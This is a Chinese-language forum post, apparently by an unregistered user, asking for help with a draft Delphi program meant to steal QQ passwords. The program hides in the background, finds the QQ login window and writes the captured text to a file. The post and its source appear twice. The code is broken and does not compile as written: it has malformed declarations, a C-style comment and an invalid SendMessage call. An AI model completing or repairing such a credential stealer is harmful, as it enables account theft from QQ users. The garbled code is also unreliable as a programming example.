千
千夜雪
Unregistered / Unconfirmed
GUEST, unregistred user!
小弟近日写了个QQ密码盗取软件,遇技术上的问题,特来请教各位大虾:
程序原理是后台运行,自动捕捉QQ登陆框,获得密码后,保存在名为a.TXT的文件里,代码如下:
unit OICQhack;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Timer1: TTimer;
SaveDialog1: TSaveDialog;
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
hWnd:Longword;
WinTextChar;
a:char;
savetofile:TStringList;
filename:char;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
form1.WindowState :=WSMinimized;
Timer1.Enabled :=True;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
hWnd:=FindWindow(nil,winText);
if (hWnd<>0) then
SendMessage(hWnd,WM_GETTEXT,0,SaveToFile+(filename));
/*程序在此处编译出现错误*/
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
close;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Timer1.Enabled :=False;
WinText:='QQ用户登录';
end;
end.
这只是一个初稿,还未编完,望各位大虾赐教.帮小弟找出错误,一起完善它,谢了!
程序原理是后台运行,自动捕捉QQ登陆框,获得密码后,保存在名为a.TXT的文件里,代码如下:
unit OICQhack;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Timer1: TTimer;
SaveDialog1: TSaveDialog;
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
hWnd:Longword;
WinTextChar;
a:char;
savetofile:TStringList;
filename:char;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
form1.WindowState :=WSMinimized;
Timer1.Enabled :=True;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
hWnd:=FindWindow(nil,winText);
if (hWnd<>0) then
SendMessage(hWnd,WM_GETTEXT,0,SaveToFile+(filename));
/*程序在此处编译出现错误*/
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
close;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Timer1.Enabled :=False;
WinText:='QQ用户登录';
end;
end.
这只是一个初稿,还未编完,望各位大虾赐教.帮小弟找出错误,一起完善它,谢了!